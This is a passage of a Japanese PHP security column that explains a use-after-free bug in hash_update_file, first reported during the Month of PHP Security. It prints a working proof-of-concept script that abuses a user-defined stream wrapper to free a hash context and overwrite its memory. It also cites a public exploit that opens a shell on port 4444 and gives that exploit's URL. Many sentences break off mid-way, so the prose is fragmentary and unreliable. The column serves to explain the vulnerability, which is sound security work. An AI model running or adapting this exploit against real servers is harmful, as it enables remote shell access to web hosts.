第32回 PHPセキュリティ月間
今回はMOPSの最初のバグとして取り扱われた
hash_update_file関数の解放済リソースへのアクセス
PHPにはリソース型と呼ばれる特別なデータ型があります。リソース型の変数はデータベース接続やファイルハンドル、
PHPのリソース型は、
以下のコードはMOPSサイトに掲載されていたPoCです。シェルコードをメモリに書き込まず、
<?php
define("OFFSET", pack("L",0x55555555));
class AttackStream {
function stream_open($path, $mode, $options, &$opened_path)
{
return true;
}
function stream_read($count)
{
hash_final($GLOBALS['hid'], true);
$GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
return "A";
}
function stream_eof()
{
return true;
}
function stream_seek($offset, $whence)
{
return false;
}
}
stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");
$hid = hash_init('md5');
hash_update_file($hid, "attack://nothing");
?>
ユーザ定義ストリームハンドラ用のクラスが定義され、
hash_final($GLOBALS['hid'], true);
の行で削除されてしまいます。
hash_update_file ($hid, "attack://nothing" );
ストリームハンドラの内部で$hidが解放済みですが、
この脆弱性の攻撃方法
MOPSの情報だけではこの脆弱性がどのように危険なのか分かりづらいです。MOPBではこの脆弱性を利用してネットワークポート番号4444で待機しシェルアクセスできるPoCが公開されています。ファイアーウォールで保護されてないサーバであれば容易にリモートからWebサーバ権限でシステムのシェルにアクセスできてしまいます。
- MOPB-28-2007.
php - http://
www. php-security. org/ MOPB/ code/ MOPB-28-2007. php
このPoCは正しいオフセットを計算するためにsubstr_
シェルコードを書くにはそれなりのスキルが必要ですが、
を参照すれば自分でシェルコードを記述することなく、
ほかの攻撃手法
この例ではPHPストリームのハンドラを利用していますが、
まとめ
evalやinclude文によるコード実行が致命的であるには変わりありませんが、